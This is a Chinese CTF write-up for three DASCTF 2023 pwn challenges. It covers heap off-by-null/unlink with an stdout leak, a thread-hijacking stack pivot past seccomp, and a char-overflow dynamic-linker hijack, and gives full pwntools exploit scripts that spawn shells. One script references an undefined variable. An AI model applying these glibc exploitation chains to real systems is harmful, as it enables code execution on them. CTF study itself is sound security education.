DASCTF 2023六月挑战赛|二进制专项 PWN (下)
DASCTF 2023六月挑战赛|二进制专项 PWN (下)
1.can_you_find_me
检查保护

意料之中
64位ida逆向

只有add,和del功能不能show
先看add吧

最多申请10个堆块

存在off_by_null漏洞,可以考虑unlink来进行堆块重叠

del函数就没有UAF漏洞了
1.首先想办法泄露出libc地址,因为本题libc是2.27的,所以引入了tcachebin机制,要么申请大堆块要么申请超过7个的小堆块,但是本题有限制申请的数量,结合off——by——null,优先考虑unlink
2.通过unlink,和tcachebin打配合,申请堆块到__IO_2_1_stdout_结构体上修改__IO_write_base_ 字段,由于后面调用了puts,所以会打印很多数据,本地测试是改末尾位\x58到_IO_file_jumps上,根据这个计算偏移
3.接着就是同样的手法打配合,free_hook改为system,进而得到shell。
ps:由于远程高位字节需要爆破,写个循环方便一点(1/16的概率)
exp:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#io = process('./find')
libc = ELF('/home/su/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')
#io = remote('node5.buuoj.cn',27771)
def add(size,msg):
io.sendlineafter('choice:','1');
io.sendlineafter('Size:',str(size))
io.sendlineafter('Data:',msg)
def free(index):
io.sendlineafter('choice:','2');
io.sendlineafter('Index:',str(index))
def pwn():
add(0x410,'aa') #0
add(0x20,'aa') #1
add(0x20,'aa') #2
add(0x30,'aa') #3
add(0x4f0,'aa') #4
add(0x20,'/bin/sh\x00') #5
gdb.attach(io)
free(0)
free(3)
payload = b'a'*0x30 + p64(0x40+0x30+0x30+0x420)
add(0x38,payload) #0
#gdb.attach(io)
free(4)
free(1)
add(0x410,'a') #1
#gdb.attach(io)
add(0x10,b'\x60\xc7') #3
add(0x20,b'a') #4
payload = p64(0xfbad1887) + p64(0)*3 + b'\x58'
add(0x27,payload)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym['_IO_file_jumps']
success('libc_base----->'+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
pause()
#gdb.attach(io)
free(0)
payload = b'a'*0x30 + p64(0) + p64(0x41) + p64(free_hook)
add(0x60,payload)
add(0x38,'aaa')
add(0x38,p64(system))
free(5)
io.interactive()
while True:
try:
#io = remote('node5.buuoj.cn',27373)
io = process('./find')
pwn()
break;
except:
io.close()
2.A dream
程序保护情况

没有开canary和pie保护
64位ida逆向

创建了一个子线程
进去看看

一直打印一句话(wyxy....)
主进程还有一个函数进去看看

一个读取存在8字节的溢出,可以栈迁移
(真那么简单吗?出题人你干了什么,你不开沙箱我们如何对抗ctfers,出题人冷冷一笑,哼,很简单,我保护开满不久好了,说罢出题人便开启了最终保护,让ctfers无处下手)
所以我们先看看沙箱

那么没有open也不能orw了,ida看到这个沙箱是在主线程里面,因此我们可以考虑劫持子线程拿到shell
1.怎么劫持呢?注意到子进程调用了write,那么可以劫持write_got表修改为下面这个地址

2.欸,这不就在子进程开始读取了嘛,直接开炫
3.注意要把主线程sleep起来不然主线程没了更不要说子线程了
exp:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./dream')
#io = remote('node5.buuoj.cn',29280)
elf = ELF('./dream')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('libc6_2.31-0ubuntu9.7_amd64.so')
bss = elf.bss() + 0x100
magic_read = 0x4013AE
payload = b'a'*0x40 + p64(bss+0x40) + p64(magic_read)
io.send(payload)
#gdb.attach(io)
sleep(0.1)
pop_rdi_ret = 0x401483
pop_rsi_r15_ret = 0x401481
leave_ret = 0x40136c
payload = p64(pop_rsi_r15_ret) + p64(elf.got['write']) + p64(0) +p64(elf.plt['read'])
payload += p64(pop_rdi_ret) + p64(0x1000) + p64(elf.plt['sleep'])
payload = payload.ljust(0x40, b'\x00') + p64(bss-8) + p64(leave_ret)
io.send(payload)
sleep(0.1)
#gdb.attach(io)
io.send(p64(magic_read))
pause()
payload =b'a'*0x30 +p64(pop_rdi_ret) + p64(elf.got['puts']) +p64(elf.plt['puts']) + p64(magic_read)
gdb.attach(io)
io.send(payload)
sleep(0.1)
io.recvuntil('\n')
io.recvuntil('\n')
#io.recvuntil('\n')
#io.recvuntil('\n')
#io.recvuntil('\n')
#io.recvuntil('\n')
#io.recvuntil('\n')
#io.recvuntil('\n')
#sleep(0.2)
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
success("libc_base:\t" + hex(libc_base))
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.sym['system']
ret = 0x40101a
#gdb.attach(io)
pop_rdi_rbp_ret = libc_base + 0x000000000002a745 #+ 0x248f2
thread_stack_rsp_addr = libc_base - 0x4150 + 0x2fa0 - 0x40 -8
success('thread_stack_rop_addr----->'+hex(thread_stack_rop_addr))
payload = p64(ret) + p64(pop_rdi_rbp_ret) + p64(bin_sh_addr) + p64(0) +p64(system_addr)
payload = payload.ljust(0x40, b'\x00') + p64(thread_stack_rsp_addr) +p64(leave_ret)
#gdb.attach(io)
io.send(payload)
io.interactive()
3.matchmaking platform
程序保护情况

只给我们留了一个延迟绑定
64位ida逆向

分别有两次机会向0x4140和0x40c0上面写东西

v3是char类型范围-127-128,起始是0,用了do,while,可以加到129,实现溢出变成-128,也就是可以写到0x40c0的位置(这个位置保存了程序里面的一个地址)
思路:1.通过溢出修改最后一位到老朋友_IO_2_1_stdout_结构体上,进而实现数据的泄露,有概率泄露出程序地址
2.因为程序是延迟绑定,通过伪造str_tab,劫持到free延迟绑定劫持到puts_got表上,最后放入参数/bin/sh拿到shell
exp:
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
def pwn():
io.sendafter("Age >> ", b'\x00' * 0x80 + b'\x80')
io.sendlineafter("Photo(URL) >> ", p64(0xfbad1887) + p64(0) * 3 + b'\xb0\x5d')
pie_base = u64(io.recv(6, timeout=0.5).ljust(8, b'\x00')) - 0x40a0
if (pie_base & 0xfff) != 0:
exit(-1)
success("pie_base:\t" + hex(pie_base))
pause()
gdb.attach(io)
payload = b'/bin/sh\x00' + p64(pie_base + 0x4140 - 0x67) + b'system\x00'
io.sendafter("Name >> ", payload.ljust(0x80, b'\x00') + b'\x08')
payload = p64(pie_base + 0x8).ljust(0x68, b'\x00') + p64(pie_base + 0x4140) #通过偏移劫持到puts
io.sendlineafter("Hobby >> ", payload)
io.interactive()
if __name__ == '__main__':
while True:
global io
try:
io = process("./matchmaking_platform")
pwn()
break
except:
io.close()
DASCTF 2023六月挑战赛|二进制专项 PWN (下)的更多相关文章
- [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇
目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...
- [复现]2021 DASCTF X BUUOJ 五月大联动-PWN
[复现]2021 DASCTF X BUUOJ 五月大联动 由于我没ubuntu16就不复现第一个题了,直接第二个 正常的off by one from pwn import * context.os ...
- Snort里如何将读取的包记录存到二进制tcpdump文件下(图文详解)
不多说,直接上干货! 如果网络速度很快,或者想使日志更加紧凑以便以后的分析,那么应该使用二进制的日志文件格式.如tcpdump格式或者pcap格式. 这里,我们不需指定本地网络了,因为所以的东西都被 ...
- DASCTF NOV X联合出题人-PWN
太忙了,下午4点才开始做,,剩下的以后补上 签个到 逻辑很简单两个功能的堆,一个就是申请heap.还有一个是检验如果校验通过就会得到flag 申请模块 中间0x886是个很恶心的东西,需要我们绕过 ...
- MySQL主从环境下存储过程,函数,触发器,事件的复制情况
下面,主要是验证在MySQL主从复制环境下,存储过程,函数,触发器,事件的复制情况,这些确实会让人混淆. 首先,创建一张测试表 mysql),age int); Query OK, rows affe ...
- Fedora中显示windows下的文件
目录 一些预备知识: 在中国windows的编码是本地编码 , 即GBK,GB2312,GB18030等 GBK 也就是windows-986 Windows现在只支持Unicode (UTF-16 ...
- js实现黑客帝国二进制雨
置顶文章:<纯CSS打造银色MacBook Air(完整版)> 上一篇:<对于RegExp反向引用的一点理解> 作者主页:myvin 博主QQ:851399101(点击QQ和博 ...
- Android下的Linux指令集
Android目录结构 data app:用户安装的应用 data:应用的专属文件夹 system:系统的配置信息,注册表文件 anr:anr异常的记录信息 dev:devices的缩写 存放设备所对 ...
- MySQL二进制日志(binary log)总结
本文出处:http://www.cnblogs.com/wy123/p/7182356.html (保留出处并非什么原创作品权利,本人拙作还远远达不到,仅仅是为了链接到原文,因为后续对可能存在的一些错 ...
- mysql二进制日志的开启和使用
二进制日志(BINLOG)记录了所有的ddl和dml语句,但不包括数据查询语句.语句以“事件”的形式保存,描述数据更改过程. 环境:win8 mysql5.6.23 1.mysql开启二进制日志 ...
随机推荐
- CF题解合集
CF 比赛题解合集 目录 CF 比赛题解合集 1952 A. Ntarsis' Set B. Imbalanced Arrays C. Ina of the Mountain D. Miriany a ...
- C#.NET 微信上传电子小票
HttpWebRequest 时,不认图片的Content-Type.Content-Type 实际是有传的. 报错内容:{"code":"PARAM_ERROR&quo ...
- 华擎 asrock b365m itx win7蓝牙播放音乐爆音
华擎 asrock b365m itx win7蓝牙播放音乐爆音,吱吱吱的杂音. 偶然间,系统换成WIN10后,再用蓝牙耳机听歌,则正常.机箱位置不变.
- C++面向对象语言自制多级菜单
因为要做一个小应用,需要一个菜单类,在网上找了许久,也没有找到一款心仪的菜单类,索性用C++语言,自制一个命令行级别的菜单类,并制作成库,现记录下来,供以后借鉴. 一.特性 无限制条目 无限制层级 用 ...
- Operational Property Graphs到底是个啥?
Operational Property Graphs,中文通常译为"操作属性图". 作为23ai中被官方highlight出的新特性之一,我们先看下官方的原文描述: Operat ...
- ZYNQ:Linux添加I2C-RTC驱动
硬件情况 使用的是DS1338这款RTC时钟芯片,I2C总线对应到PS端的I2C1. 配置 内核 添加有关的驱动: 因为DS1338用的驱动与DS13307相似,一找发现是同一个配置. CONFIG_ ...
- opengauss Need repair修复
问题描述:opengauss集群在做切换的时候,或者增删节点的时候,很容易发生节点repair,找不到主库的情况,这种情况需要把主库使用primary角色启动,然后build重建从库,就可以恢复集群 ...
- 震撼登场,全国产RK3588J工业核心板,让您的产品更具特色!八核2.4GHz!
RK3588J全国产工业核心板10月正式出售如需预定,请与创龙科技联系. 更多详情,请登录创龙科技天猫旗舰店. 瑞芯微RK3568J.RK3588J技术交流QQ群:567208221,欢迎加入!
- MyBatis学习篇
什么是MyBatis (1)Mybatis是一个半ORM(对象关系映射)框架,它内部封装了JDBC,开发时只需要关注SQL语句本身,不需要花费精力去处理加载驱动.创建连接.创建statement等繁杂 ...
- 为什么js中要用new?
你new的不是对象,是构造函数,new + 构造函数生成对象.如果单就调用方法而言,确实不必用new.new一般用在"js使用原型和this关键字实现面向对象"的过程中. 大多数情 ...